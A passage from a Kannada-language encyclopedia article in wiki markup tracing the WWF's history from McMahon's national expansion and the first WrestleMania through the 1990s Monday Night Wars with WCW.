ಮ್ಯಾಕ್‌ಮೋಹನ್‍ ವಿಸ್ತರಣೆಯ ಪ್ರಕ್ರಿಯೆಯನ್ನು ಶುರುಮಾಡಿದನು. ಅದು ಮೂಲತ:ವಾಗಿ ಇಡೀ ಕ್ರೀಡೆಯನ್ನೇ ಬದಲಿಸಿತು. NWA ಜೊತೆಗೆ ಅಧಿಕಾರವನ್ನ್ನು ತೊಡೆದುಕೊಂಡಿದ್ದಿದ್ದು WWF ಒಂದೇ ಅಲ್ಲ; [[ಅಮೇರಿಕನ್ ವ್ರೆಸ್ಲಿಂಗ್ ಸಂಘ|ಅಮೆರಿಕನ್ ವ್ರೆಸ್ಲಿಂಗ್ ಅಸೋಸಿಯೆಷನ್]](AWA) ಬಹಳ ಹಿಂದೆಯೇ NWAಯ ಅಧಿಕೃತ ಸದಸ್ಯತ್ವವನ್ನು ಸ್ಥಗಿತಗೊಳಿಸಿತ್ತು (ಅದರೂ WWF ನಂತೆ, ಅವರು ತಮ್ಮ ಸ್ವಂತ ಪ್ರದೇಶವನ್ನು ಬಿಟ್ಟಿರಲಿಲ್ಲ). ಹಾಗಿದ್ದರೂ, ಪಕ್ಷಾಂತರ ಮಾಡುವ ಯಾವುದೇ ಸದಸ್ಯರು ಅರ್ಧಶತಮಾನಕ್ಕಿಂತ ಹೆಚ್ಚಿಗೆ ಉದ್ಯಮದ ಅಡಿಪಾಯವಾಗಿದ್ದ ಈ [[ ರಾಷ್ಟೀಯ ಕುಸ್ತಿ ಒಕ್ಕೂಟ#ಕ್ಷೇತ್ರಗಳು|ಪ್ರದೇಶ ವ್ಯವಸ್ಥೆ]]ಯನ್ನು ವಿಫಲಗೊಳಿಸಲು ಪ್ರಯತ್ನಿಸಲಿಲ್ಲ. ಮ್ಯಾಕ್‌ಮೋಹನ್ WWF ನ ದೂರದರ್ಶನ ಪ್ರದರ್ಶನಗಳನ್ನು WWFನ ಸಾಂಪ್ರಾದಾಯಿಕ ನಾರ್ಥ್‌ಈಸ್ಟ್‌ನ ಕೋಟೆಯ ಹೊರಗೆ ಅಮೇರಿಕಾ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಉದ್ದಗಲಕ್ಕೂ, [[ದೂರದರ್ಶನ ಕೇಂದ್ರ]]ಗಳ ಮೂಲಕ ಪ್ರಕಟಿಸಲು ಪ್ರಾರಂಭಿಸಿದಾಗ ಉಳಿದ ಪ್ರವರ್ತಕರು ರೊಚ್ಚಿಗೆದ್ದರು.ಮ್ಯಾಕ್‌ಮೋಹನ್ ತನ್ನ ಹಂಚಿಕೆ ಕಂಪೆನಿ [[WWE ಹೊಮ್ ವಿಡಿಯೊ|ಕೊಲಿಸೆಂ ವೀಡಿಯೊ]] ಮೂಲಕ ನಾರ್ಥ್‌‍ಈಸ್ಟ್‌ನ ಹೊರಗೆ WWFಯ ಘಟನೆಗಳ [[ವಿಡಿಯೋಟೇಪ್|ವೀಡಿಯೊ ಟೇಪ್‌]]ಗಳನ್ನು ಮಾರಾಟ ಮಾಡಲು ಪ್ರಾರಂಭಿಸಿದ್ದನು. ಅಲಿಖಿತ ಪ್ರಾಂತೀಯ ಕಾನೂನಿನ ಸುತ್ತ ನೆಲೆಯೂರಿದ್ದ ಇಡೀ ಉದ್ಯಮವನ್ನು ಅವನು ಪರಿಣಾಮಕಾರಿಯಾಗಿ ಒಡೆದನು. ಮ್ಯಾಕ್‌ಮೋಹನ್ ಜಾಹೀರಾತುಗಳಿಂದ, ದೂರದರ್ಶನದ ವ್ಯವಹಾರಗಳಿಂದ ಮತ್ತು ಟೇಪ್ ಮಾರಾಟಗಳಿಂದ ಗಳಿಸಿದ ಹಣವನ್ನು ಎದುರಾಳಿಗಳ ಪರ ಕುಸ್ತಿ ಮಾಡುತ್ತಿದ್ದ ಪಟುಗಳನ್ನು ಹಿಡಿದುಕೊಳ್ಳಲು ಉಪಯೋಗಿಸಿಕೊಂಡನು. ಇದು ಪರಿಸ್ಥಿತಿಯನ್ನು ಇನ್ನೂ ಹದಗೆಡಿಸಿತು. ರಾಷ್ಟ್ರದೆಲ್ಲೆಡೆ ಕುಸ್ತಿ ಪ್ರವರ್ತಕರು ಈಗ WWFನೊಂದಿಗೆ ನೇರ ಸ್ಪರ್ಧೆಗೆ ಇಳಿದರು. [[ಹಲ್ಕ್ ಹೊಗನ್|ಹಲ್ಕ್‌ ಹೊಗನ್]] ''[[ರಾಕಿ III]]'' ನಲ್ಲಿ ಕಾಣಿಸಿಕೊಳ್ಳುವ ಮೂಲಕ ಕೆಲವೇ ಕುಸ್ತಿಪಟುಗಳು ಪಡೆಯಲು ಸಾಧ್ಯವಾದ ರಾಷ್ಟೀಯ ಮಾನ್ಯತೆ ಪಡೆದನು. ಇದರಿಂದಾಗಿ ಮ್ಯಾಕ್‌ಮೋಹನ್‌ ಹೂಗನ್‌ನನ್ನು ತನ್ನ ಸಂಸ್ಥೆಯೊಡನೆ ಸೇರಿಸಿಕೊಳ್ಳಲು ಸಹಿ ಮಾಡಿಸಿಕೊಂಡನು. [[ರೊಡ್ಡಿ ಪೈಪರ್|ರೊಡ್ಡಿ ಪೈಪರ್‍ನ್ನು]], ಹಾಗೆಯೇ [[ಜೆಸ್ಸಿ ವೆನ್‌ಟ್ಯೂರಾ|ಜೆಸ್ಸೆ ವೆನ್‌ಟುರ]] ನನ್ನೂ ಕರೆತರಲಾಯಿತು. (ಆದರೆ ಈ ಸಮಯದಲ್ಲಿ ವೆನ್‌ಟುರ ಕುಸ್ತಿಯಾಡಿದ್ದು ಕಡಿಮೆ. ಆತ ಶ್ವಾಸಕೋಶದ ತೊಂದರೆಯಿಂದ ನಿವೃತಿ ಹೊಂದಿದ ಮತ್ತು [[ಗೊರಿಲ್ಲಾ ಮಾನ್‌ಸೂನ್|ಗೊರಿಲ್ಲ ಮಾನ್‌ಸನ್]] ಜೊತೆಗೆ ವಿಶ್ಲೇಷಕನಾಗಿ ಸೇರಿದ). [[ಆಂಡ್ರೆ ದಿ ಜೈಂಟ್|ಅಂಡ್ರೆ ದ ಜೇಂಟ್]], [[ಜಿಮ್ಮಿ ಸ್ನೂಕಾ|ಜಿಮ್ಮಿ ಸ್ನುಕಾ]], [[ಡಾನ್ ಮುರಾಕೊ]], [[ಪೌಲ್ ಒರ್ನ್‌ಡೊರ್ಫ್|ಪೌಲ್ ಓರ್ನ್‌ಡಾರ್ಫ್]], [[ಗ್ರೆಗ್ ವಾಲೆಂಟೈನ್|ಗ್ರೆಗ್ ವ್ಯಾಲೆಂಟಿನ್]],[[ರಿಕ್ಕಿ ಸ್ಟೀಮ್‌ಬೋಟ್|ರಿಕಿ ಸ್ಟೀಮ್‌ಬೊಟ್]] ಮತ್ತು [[ಐರನ್ ಶೇಖ್|ಐರನ್ ಶೇಕ್]] (ಹುಸೇನ್ ಖೋಸ್ರೋ ಅಲಿ ವಜೀರಿ)ಸರದಿಯಾಗಿ ಬಂದರು. ಹೊಗನ್ ಸ್ಪಷ್ಟವಾಗಿ ಮ್ಯಾಕ್‌ಮೋಹನ್‌ನ ಅತಿ ದೊಡ್ಡ ಸ್ಟಾರ್, ಆದರೆ ದೇಶದಲ್ಲಿ ಅವನಿಲ್ಲದೇ WWF ಯಶಸ್ಸು ಗಳಿಸಲು ಸಾದ್ಯವಾಗುತ್ತಿತೇ ಎಂಬ ಚರ್ಚೆಯು ಇತ್ತು. ಹಲವು ವರದಿಗಾರ ಪ್ರಕಾರ ಹಿರಿಯ ಮ್ಯಾಕ್‌ಮೋಹನ್ ತನ್ನ ಮಗನನ್ನು ಎಚ್ಚರಿಸಿದ್ದ: ವಿನ್ನಿ, "ನೀನು ಏನು ಮಾಡುತ್ತಿದ್ದಿಯಾ? ನೀನು ದಿವಾಳಿಯಾಗುತ್ತಿಯಾ." ಆ ರೀತಿಯ ಎಚ್ಚರಿಕೆಯ ಹೊರತಾಗಿಯೂ, ಕಿರಿಯ ಮ್ಯಾಕ್‌ಮೋಹನ್ ಇನ್ನೂ ದಿಟ್ಟ ಮಹತ್ವಾಕಾಂಕ್ಷೆಯನ್ನು ಹೊಂದಿದ್ದ. ಅದು: WWFನ ದೇಶಾದ್ಯಂತ ಪ್ರವಾಸ. ಆದರೆ ಆ ರೀತಿಯ ಸಾಹಸಕ್ಕೆ ದೊಡ್ಡ ಮೊತ್ತದ ಹಣದ ಅವಶ್ಯಕವಾಗಿತ್ತು. ಅದು WWFನು ಅರ್ಥಿಕ ಪತನಕ್ಕೆ ಇರುಸುವಂತದಾಗಿತ್ತು. ಇದರಿಂದಾಗಿ ಬರಿ ಮ್ಯಾಕ್‌ಮೋಹನ್‌ನ ಪ್ರಯೋಗದ ಭವಿಷ್ಯವಲ್ಲದೆ, WWF, NWA ಗಳು ಮತ್ತು ಇಡೀ ಉದ್ದಿಮೆಯ ಭವಿಷ್ಯ ಕೂಡ ಮ್ಯಾಕ್‌ಮೋಹನ್‌ನ ಉನ್ನತವಾದ ಪರಿಕಲ್ಪನೆ [[ವ್ರೆಸಲ್‌ಮೇನಿಯಾ|WrestleMania]]ದ ಯಶಸ್ಸು ಅಥವಾ ವೈಫಲ್ಯದ ಮೇಲೆ ನಿಂತಿತ್ತು. WrestleMania ಒಂದು [[ಶುಲ್ಕವಿಧಿತ ಪ್ರದರ್ಶನ]]ವಾಗಿದ್ದು ( ಕೆಲವು ಪ್ರದೇಶಗಳಲ್ಲಿ; ದೇಶದ ಹಲವು ಭಾಗಗಳಲ್ಲಿ WrestleMania [[ಮುಚ್ಚಿದ-ವಿದ್ಯುತ್‌ಪಥದ ದೂರದರ್ಶನ|ಕ್ಲೋಸ್ಡ್-ಸರ್ಕ್ಯೂಟ್-ಟೆಲೆವಿಶನ್‌]]ನಲ್ಲಿ ಲಭ್ಯವಾಗಿತ್ತು) ಅದನ್ನು ಮ್ಯಾಕ್‌ಮೋಹನ್ ವ್ರೆಸ್ಲಿಂಗ್‌ನ [[ಸೂಪರ್ ಬೌಲ್]] ಎಂದು ಹೇಳಿ ಪ್ರಚಾರ ಮಾಡಿದ. ಉತ್ತರ ಅಮೆರಿಕದಲ್ಲಿ ಕುಸ್ತಿಯ [[ಕಾರ್ಡ್ (ಕ್ರೀಡೆ)|ಸೂಪರ್‍ಕಾರ್ಡ್{/0 }ಪರಿಕಲ್ಪನೆ ಹೊಸತೇನಾಗಿರಲಿಲ್ಲ; NWAಯು ವ್ರೆಸಲ್‌ಮೇನಿಯಾಕ್ಕಿಂತ ಹಲವು ವರ್ಷಗಳ ಹಿಂದೆಯೇ]] [[ಸ್ಟಾರ್‌ಕೇಡ್|ಸ್ಟಾರ್‍ಕೆಡ್‌‍]] ನಡೆಸುತ್ತಿತು. ಮತ್ತು ಹಿರಿಯ ಮ್ಯಾಕ್‌ಮೋಹನ್ ಕ್ಲೋಸ್ಡ್-ಸರ್ಕ್ಯೂಟ್-ಟೆಲೆವಿಶನ್‌ನಲ್ಲಿ ನೋಡಬಹುದಾಗಿದ್ದ [[ಶಿಯಾ ಸ್ಟೇಡಿಯಮ್|ಷಿಯಾ ಸ್ಟೇಡಿಯಂ]] [[ಶಿಯಾದಲ್ಲಿ ಶೋಡೌನ್|ಕಾರ್ಡ್‌]]ಗಳನ್ನು ಮಾರಾಟಮಾಡಿದ್ದನು.ಅದಾಗಿಯೂ, ಮ್ಯಾಕ್‌ಮೋಹನ್ ಖಾಯಂ ಕುಸ್ತಿಯ ಅಭಿಮಾನಗಳಲ್ಲದ ಸಾರ್ವಜನಿಕರನ್ನು ಗುರಿಯಾಗಿಟ್ಟುಕೊಂಡು WWFನ್ನು ಮುಖ್ಯವಾಹಿನಿಗೆ ತರಲು ಬಯಸಿದ. ಅವನು ಹೆಸರುವಾಸಿಗಳಾದ [[Mr. T|ಮಿಸ್ಟರ್.ಟಿ]] ಮತ್ತು [[ಸಿಂಡಿ ಲೌಪರ್|ಸಿಂಡಿ ಲೌಪೆರ್‌]] ರನ್ನು ಪಂದ್ಯದಲ್ಲಿ ಭಾಗವಹಿಸಲು ಆಹ್ವಾನಿಸುವುದರ ಮೂಲಕ ಮುಖ್ಯವಾಹಿನಿ ಮಾಧ್ಯಮದ ಗಮನವನ್ನು ಸೆಳೆದ. [[MTV|ಎಮ್‍ಟಿವಿ]], ನಿರ್ದಿಷ್ಟವಾಗಿ, WWFನ ವರದಿಯ ಒಂದು ಮುಖ್ಯವಾದ ಕಾರ್ಯಕ್ರಮವನ್ನು ಬಿತ್ತರಿಸಿತ್ತು ಮತ್ತು ಕಾರ್ಯಕ್ರಮ ಮಾಡುವಾಗ ಆ ಸಮಯದಲ್ಲಿ ''[[1980ರ ಕುಸ್ತಿಯ ಉತ್ಕರ್ಷ#ದಿ ರಾಕ್ ’ಎನ್' ಕುಸ್ತಿಯ ನೆಂಟು|ರಾಕ್ ’ಎನ್’ ರೋಲ್ ವ್ರೆಸ್ಲಿಂಗ್ ಕನೆಕ್ಷನ್]]'' ಎಂದು ಹೆಸರಿಸಿತ್ತು. ===ಸುವರ್ಣ ಯುಗ=== ನಿಜವಾದ [[ವ್ರೆಸಲ್‌ಮೇನಿಯಾ (1985)|WrestleMania]] 1985ರಲ್ಲಿ ನಡೆಯಿತು, ಮತ್ತು ಯಶಸ್ಸನ್ನು ಪ್ರತಿಧ್ವನಿಸಿತು. ಈ ವಿದ್ಯಮಾನ, ಅವನ ತಂದೆಯ ಶುದ್ಧ ಕುಸ್ತಿಯ ಅಭಿಮಾನಕ್ಕೆ ವಿರುದ್ಧವಾಗಿದರೂ, ಯಾವುದನ್ನು ಮ್ಯಾಕ್‌ಮೋಹನ್ "ಕ್ರೀಡಾಮನೋರಂಜನೆ" ಎಂದು ಕರೆದನೋ ಅದಕ್ಕೆ ಪ್ರಥಮ ಪ್ರವೇಶ ಎಂದು ಮನ್ನಣೆ ಪಡೆಯಿತು. WWFನ ವಿಸ್ಮಯಕಾರಿಯಾದ ವ್ಯವಹಾರವನ್ನು ಮ್ಯಾಕ್‌ಮೋಹನ್ ಮತ್ತು ಪೂರ್ಣ ಅಮೆರಿಕದ [[ಫೆಸ್ (ವೃತ್ತಿ ನಿರತರ ಕುಸ್ತಿ)|ಮಗುಮುಖ]]ದ ಅವನ ನಾಯಕ, [[ಹಲ್ಕ್ ಹೊಗನ್|ಹಲ್ಕ್‌ ಹೊಗನ್]], ನಿರ್ವಹಿಸಿದರು. ನಂತರದ ಕೆಲವು ವರ್ಷಗಳು, ವೃತ್ತಿಪರ ಕುಸ್ತಿಯ ಎರಡನೆ ಸುವರ್ಣ ಯುಗ ಎಂಬ ಹೆಸರಿನಿಂದ ಕೆಲವರು ಗುರುತಿಸುತ್ತಾರೆ. 1985ರ ಮಧ್ಯದಲ್ಲಿ[[NBC]]ಯ ''[[ಶನಿವಾರ ರಾತ್ರಿಯ ಮುಖ್ಯ ಪಂದ್ಯ|ಸ್ಯಾಟರ್‌ಡೇ ನೈಟ್ಸ್‌ ಮೇನ್ ಈವೆಂಟ್‍]]'' ಪರಿಚಯ ವೃತ್ತಿಪರ ಕುಸ್ತಿಯಲ್ಲಿ ದೂರದರ್ಶನ ಜಾಲದಲ್ಲಿನ ಪ್ರಸಾರ 1950ರಿಂದ ಮೊದಲ ಬಾರಿಗೆ ಎಂದು ಗುರುತಿಸಲಾಗಿದೆ. 1987ರಲ್ಲಿ, WWF ಸೃಸ್ಟಿಸಿದೆಲ್ಲಾ 1980ರ ಕುಸ್ತಿಯ ಪರಾಕಾಷ್ಟೆ ಪೂರ್ತಿಯಾಗಿ ಉತ್ಕರ್ಷ ಎಂದು ಪರಿಗಣಿಸಲಾಗಿದೆ, [[ವ್ರೆಸಲ್‌ಮೇನಿಯಾ III]].<ref>{{cite web|url=http://slam.canoe.ca/Slam/Wrestling/Wrestlemania20/WrestleMania3.html|title=Steamboat&nbsp;— Savage rule WrestleMania 3|last=Powell|first=John|publisher=SLAM! Wrestling|accessdate=2007-10-14|archive-date=2015-04-16|archive-url=https://web.archive.org/web/20150416180551/http://slam.canoe.ca/Slam/Wrestling/Wrestlemania20/WrestleMania3.html|url-status=dead}}</ref> ===ಹೊಸ ಪಿಳಿಗೆ=== 1994ರಲ್ಲಿ ಅದರ ವಿರುದ್ಧ ಎದ್ದ[[ಅನಾಬೊಲಿಕ್ ಸ್ಟೆರಾಡ್|ಸ್ಟೇರಾಯಿಡ್]] ಬಳಕೆ ಮತ್ತು ಹಂಚಿಕೆ ಅಪಾದನೆಗಳು WWFಗೆ ಪ್ರಸಿದ್ಧಿಗೆ ದಕ್ಕೆ ಉಂಟುಮಾಡಿತು[[ಲೈಂಗಿಕ ಹಿಂಸಾಚರ|WWFನ ನೌಕರರಿಂದ ಸಹ ಲೈಂಗಿಕ ಕಿರುಕಳ]]ದ ಅಪಾದನೆಗಳು ಮಾಡಲ್ಪಟ್ಟಿದ್ದವು. ಅಂತಿಮವಾಗಿ ಮ್ಯಾಕ್‌ಮೋಹನ್ ನಿರಪರಾಧಿ ಎಂದು ಘೋಷಿಸಿತು, ಅದರೆ ಇದು WWFಗೆ ಒಂದು[[ಸಾರ್ವಜನಿಕರ ಬಾಂಧವ್ಯ|ಸಾರ್ವಜನಿಕ ಸಂಪರ್ಕ]]ಕ್ಕೆ ಘೋರಸ್ವಪ್ನವಾಯಿತು. ಸ್ಟೇರಾಯಿಡ್ ಮೊಕದ್ದಮೆಯ ಖರ್ಚು ಅಂದಾಜು $5 ಮಿಲಿಯನ್ ಆಗಿತ್ತು. ಆದರೆ, ಆ ಸಮಯದಲ್ಲಿ ಆದಾಯಗಳು ಅತಿ ಕಡಿಮೆ ಇತ್ತು. ನಷ್ಟ ತುಂಬಲು, ನಂತರದ ಸನ್ನಿವೇಶದಲ್ಲಿ ಮ್ಯಾಕ್‌ಮೋಹನ್ ಕುಸ್ತಿಪಟುಗಳು ಮತ್ತು ನೌಕರ ವರ್ಗ ಇಬ್ಬರದ್ದು ಸಂಬಳದಲ್ಲಿ ಅಸುಪಾಸು 40% ಕಡಿತಗೊಳಿಸಿದನು(ಮತ್ತು ಸುಮಾರು 50% ಮೇಲ್ಪಟ್ಟು ಮ್ಯಾನೇಜರ್‍ಗಳಾದ [[ಬೋಬಿ ಹೀನನ್|ಬಾಬಿ ಹೀನಾನ್]] ಮತ್ತು[[ಜಿಮ್ಮಿ ಹಾರ್ಟ್]] ಕಡಿತಗೊಳಿಸಲಾಯಿತು, ಮತ್ತು ಅವರಿಬ್ಬರೂ ಕೆಲಸವನ್ನು ತ್ಯಜಿಸಿದರು). ಇದರಿಂದಾಗಿ ಅನೇಕ WWF ಕುಸ್ತಿಪಟುಗಳಿಗೆ 1993 ಮತ್ತು 1996 ನಡುವೆ ಏಕೈಕ ಪ್ರಮುಖ ಸ್ಪರ್ಧೆ [[ ವರ್ಲ್ಡ್ ಚಾಂಪಿಯನ್‌ಶಿಪ್ ವ್ರೆಸ್ಲಿಂಗ್|ವರ್ಲ್ಡ್ ಚಾಂಪಿಯನ್‌ಶಿಪ್ ವ್ರೆಸ್ಲಿಂಗ್]](WCW) ಯಲ್ಲಿ ಮಾತ್ರ ಭಾಗವಹಿಸುವಂತಾಯಿತು. ಈ ಸಮಯದಲ್ಲಿ, "ದ ನ್ಯೂ WWF ಜನೆರೇಷನ್" ಬ್ಯಾನರ್‍ನಡಿಯಲ್ಲಿ [[ಶಾನ್ ಮೈಕಲ್ಸ್|ಶಾನ್ ಮೈಕೆಲ್]],[[ಕೆವಿನ್ ನ್ಯಾಶ್|ಡೀಸೆಲ್]], [[ಸ್ಕಾಟ್ ಹಾಲ್|ರೊಜರ್ ರೋಮನ್]], [[ಬ್ರೆಟ್ ಹಾರ್ಟ್]] ಮತ್ತು [[ದಿ ಅಂಡರಟೇಕರ್|ದ ಅಂಡರ್‍ಟೆಕರ್]] ರನ್ನು ವ್ರೆಸ್ಲಿಂಗ್‌ನಲ್ಲಿ ಹೊಂದುವ ಮೂಲಕ ಸ್ವತಃ WWF ಪ್ರೋತ್ಸಾಹ ಪಡೆದುಕೊಂಡಿತು. ಅವರನ್ನು ಮತ್ತು ಇತರ ಹೊಸ ಯುವ ಪ್ರತಿಭೆಗಳನ್ನು ಕಣದ ಹೊಸ ಸೂಪರ್‍ಸ್ಟಾರ್ ಆಗಿ ಪ್ರೋತ್ಸಾಹಿಸುವ ಪ್ರಯತ್ನದಲ್ಲಿ WWF ವಯಸ್ಸಿನ ನಿಯಂತ್ರಣ ಹಾಕಿತು. ಮಾಜಿ ಕುಸ್ತಿಪಟುಗಳಾದ [[ಹಲ್ಕ್ ಹೊಗನ್]] ಮತ್ತು [[ರೇಂಡಿ ಸೇವೇಜ್|ರಾನ್‌ಡಿ ಸೇವೇಜ್]] (ಆ ಹೊತ್ತಿಗೆ ಅವರು WCW ಗೆ ಕೆಲಸ ಮಾಡುತ್ತಿದ್ದರು) ಅದರ ಪರಿಣಾಮ ಅನುಭವಿಸಬೇಕಾಯಿತು. ಇದನ್ನು 1996 ರ ಪ್ರಾರಂಭದ ವರ್ಷಗಳ "ಬಿಲಿಯನೇರ್ ಟೆಡ್" (WCW ನ ಮಾಲೀಕ ಮತ್ತು ಪೋಷಕನಾದ ಮಾಧ್ಯಮ ದೊರೆ [[ಟೆಡ್‌ ಟರ್ನರ್|ಟೆಡ್ ಟರ್ನರ್]] ಗೆ ಸಂಬಂಧಿಸಿ) ಪ್ರಹಸನಗಳಲ್ಲಿ ನೋಡಬಹುದಾಗಿದೆ. ಇದು ಅಂತಿಮವಾಗಿ [[ವ್ರೆಸಲ್‌ಮೇನಿಯಾ XII|WrestleMania XII]] ನ ಆರಂಭ ಕ್ರೀಡೆಯ ಸಂದರ್ಭದಲ್ಲಿ ನಡೆದ "[[ವೃತ್ತಿನಿರತ ಕುಸ್ತಿಯ ಶಬ್ದಗಳ ಪಟ್ಟಿ#R|rasslin']]" ಪಂದ್ಯದೊಂದಿಗೆ ಕೊನೆಗೊಂಡಿತು. ===ಸೋಮವಾರ ರಾತ್ರಿಯ ಯುದ್ಧಗಳು=== [[File:Seriesscrewjob.jpg|thumb|left|250px|ದಿ "Montreal Screwjob"- WWE ಇತಿಹಾಸದಲ್ಲಿ ಒಂದು ವಿಶಿಷ್ಟವಾದ ಕ್ಷಣ]] {{Main|Monday Night Wars}} 1993ರಲ್ಲಿ, WWF ನ ಕೇಬಲ್ ಕಾರ್ಯಕ್ರಮ ''[[WWE ರಾ|WWF ಮಂಡೇ ನೈಟ್ ರಾ]]'' ನ ಪ್ರಥಮ ಪ್ರವೇಶದೊಂದಿಗೆ ದೂರದರ್ಶನದ ಪ್ರಸಾರದಲ್ಲಿ ಹೊಸ ನೆಲೆಯನ್ನು ಸ್ಥಾಪಿಸಿಕೊಂಡಿತು. ಮಿತಿಮೀರಿದ ಯಶಸ್ಸಿನ ನಂತರ, 1995ರಲ್ಲಿ WCW ವಿರುದ್ಧವಾಗಿ ಅದರ ಸ್ವಂತ ಕೇಬಲ್ ಕಾರ್ಯಕ್ರಮ ''[[WCW ಮಂಡೇ ನೈಟ್ರೋ]]'' ಕಾರ್ಯಕ್ರಮದ ಸಮಯದಲ್ಲಿಯೇ Raw ಕಾರ್ಯಕ್ರಮ ನೀಡುವ ಮೂಲಕ ಸವಾಲೆಸೆಯಿತು<ref>{{cite book|last1=Shields|first1=Brian|last2=Sullivan|first2=Kevin|title=WWE: History of WrestleMania|year=2009|page=53|accessdate=2009-07-16}}</ref>. 1996ರ ಮಧ್ಯದವರೆಗೆ, ಈ ಎರಡು ಕಾರ್ಯಕ್ರಮಗಳು ಸ್ಪರ್ಧೆಯ [[ನೀಲ್ಸೆನ್‌ ರೇಟಿಂಗ್ಸ್‌|ರೇಟಿಂಗ್ಸ್‌]] ಅರುಸುತ್ತಾ ವ್ಯಾಪಾರ ಗಳಿಸಿದವು. WCW ಸುಮಾರು 2 ವರ್ಷದವರೆಗೆ ಪ್ರಾಬಲ್ಯತೆಯನ್ನು ಹೊಂದಿತ್ತು. ಅದಕ್ಕೆ ಮುಖ್ಯ ಉದ್ದೀಪಕ[[ನ್ಯೂ ವರ್ಲ್ಡ್ ಆರ್ಡರ್ (ವೃತ್ತಿ ನಿರತ ಕುಸ್ತಿ)|ನ್ಯೂ ವರ್ಲ್ಡ್ ಅರ್ಡರ್‌]], ಮಾಜಿ ಸೂಪರ್‍ಸ್ಟಾರ್‌ಗಳಾದ ಹಲ್ಕ್ ಹೊಗನ್, ಸ್ಕಾಟ್ ಹಾಲ್ ಮತ್ತು ಕೆವಿನ್ ನ್ಯಾಶ್‌ರ ದೃಡ ನೇತೃತ್ವದಲ್ಲಿ ಪ್ರಾರಂಭವಾಯಿತು. ===1996–1997=== 1990ರ ಮದ್ಯದಲ್ಲಿ ದಾವಾ ಮತ್ತು ಪಂದ್ಯದ ವಿಧಗಳು ಅಭಿವೃದ್ಧಿ ಹೊಂದಿ ಕುಸ್ತಿಯಲ್ಲಿ ಒಂದು ಹೊಸ ಯುಗ ಪ್ರಾರಂಭವಾಯಿತು. WWFನ ಅಭಿಮಾನಿಗಳು [[ಫೇಸ್ (ವೃತ್ತಿ ನಿರತ ಕುಸ್ತಿ)|ಗುಡ್ ಗೈ]] ಗಿಂತ [[ ಹೀಲ್ (ವೃತ್ತಿ ನಿರತ ಕುಸ್ತಿ)|ಬ್ಯಾಡ್ ಗೈ]] ಎಂದು ತೋರಿದವರ ಮೇಲೆ ಹೆಚ್ಚಿನ ಒಲವು ತೋರಿಸಿದ ಹಾಗೆ ಕಂಡರು. WWF ಕ್ರಿಯೇಟಿವ್ ಮಂಡಳಿ ಮಾಡಿದ ಸೃಜನಶೀಲ ಬದಲಾವಣೆಗಳು ಕುಸ್ತಿಯನ್ನು "ಬೀದಿ ಜಗಳ", "ಕೆಟ್ಟ ಧೋರಣೆ" ಎಂಬುದಾಗಿ ನೋಡಿತು. ಕ್ರೀಡಾ ಮನೋರಂಜನೆಯಲ್ಲಿ ಕ್ರಾಂತಿಕಾರಿ ಬಲಾವಣೆಯ ಹೊರತಾಗಿಯೂ WCW ಪ್ರತಿಸ್ಪರ್ಧಿಯಾಗಿ ಈ ಎಲ್ಲಾ ವರ್ಷಗಳು WWF ಕಡಿಮೆ ಅರ್ಥಿಕ ಆದಾಯದಲ್ಲಿ ಮತ್ತು ಅಭಿಮಾನಿಗಳ ಹೆಚ್ಚಿನ ನಷ್ಟದಲ್ಲಿ ಉಳಿಯಿತು, 1996 ಮತ್ತು 1997ರಲ್ಲಿ WWFನ ಪ್ರಮುಖ ಪ್ರತಿಭೆಗಳು WCWಗೆ ಸೋತಿದ್ದರು. ರೋಜರ್ ರಾಮೊನ್ [[ಸ್ಕಾಟ್ ಹಾಲ್]], ಡೀಸೆಲ್, [[ಕೆವಿನ್ ನ್ಯಾಶ್]], ಸೈಕೋ ಸಿದ್, [[ಸಿಡ್ ಯುಡಿ|ಸಿದ್ ಯುಡಿ]] ಅಲುಂಡ್ರಾ ಬ್ಲೆಜ್, [[ಡೆಬ್ರಾ ಮಿಸಲಿ|ಡೆಬ್ರಾ ಮಿಕೆಲಿ]] ಮತ್ತು ದಿವಂಗತ [[ರಿಕ್ ರೂಡ್|ರಿಕ್ ರುಡ್‌‌]] ಸೇರಿದ್ದರು.WWF ಅವರೆನೆಲ್ಲಾ ಬದಲಿಸಿ WCWಯ ಮಾಜಿ ಪ್ರತಿಭೆಗಳಾದ ವಡೆರ್ ([[ಬಿಗ್ ವ್ಯಾನ್ ವ್ಯಾಡರ್|ಲಿಯಾನ್ ವೈಟ್,]]) [[ಸ್ಟೋನ್ ಕೊಲ್ಡ್ ಸ್ಟೀವ್ ಆಸ್ಟಿನ್|ಸ್ಟೋನ್ ಕೊಲ್ಡ್ ಸ್ಟೀವ್ ಅಸ್ಟಿನ್]], [[ಬ್ರಿಯನ್ ಪಿಲ್ಲ್ಮನ್|ಬ್ರೈನ್ ಪಿಲ್ಲ್‌ಮ್ಯಾನ್]]ಮ್ಯಾನ್‌ಕೈಂಡ್ ([[ ಮೈಕ್ ಫಾಲೆಯ್|ಮಿಕ್ ಫೊಲೇ]]) ಮತ್ತು ಫರೂಕ್ [[ರೊನ್ ಸಿಮ್ಮನ್ಸ್|ರಾನ್ ಸಿಮ್ಮನ್ಸ್]] ರನ್ನು ಸೇರಿಸಿಕೊಂಡಿತು. ಎರಿಕ್ ಬಿಷಪ್‌ನು ಸಾರ್ವಜನಿಕವಾಗಿ WWFಗೆ ಅವಮಾನ ಮಾಡಿದ, WCWಯಿಂದ ವಜಾ ಮಾಡಿದ ಕುಸ್ತಿ ಪಟುಗಳೊಂದಿಗೆ ಒಪ್ಪಂದ ಮಾಡಿಕೊಂಡಿದಕ್ಕೆ ಮತ್ತು WWF ಕುಸ್ತಿಪಟುಗಳು WCWನೊಂದಿಗೆ ಸಹಿಹಾಕಲು WCWನ ಹೆಚ್ಚಿನ ಸಂದಾಯ ಕಾರಣ ಎಂದು ಟೀಕಿಸಿದನು, [[ಸೋಮವಾರ ರಾತ್ರಿಯ ಯುದ್ಧಗಳು|ಮಂಡೇ ನೈಟ್ ವಾರ್ಸ್‌]]ಅನ್ನು ''ನಿಟ್ರೊ'' ಗೆ ವಿರುದ್ಧವಾಗಿ ತೀವ್ರಗೊಳಿಸಿತು. WWF ಪ್ರಸಿದ್ಧಿಯನ್ನು ಮರಳಿಪಡೆಯಲು ಹೆಣಗಾಡಿತು. ಬ್ರೆಟ್ ಹಾರ್ಟ್ WCWಗೆ ಮರಳುವಂತೆ ಮ್ಯಾಕ್‌ಮೋಹನ್ ನಿಭಾಯಿಸಿದನು ಮತ್ತು ಹಾರ್ಟ್ ಮತ್ತು ಅಸ್ಟೀನ್ ಜೊತೆ ದಾವ 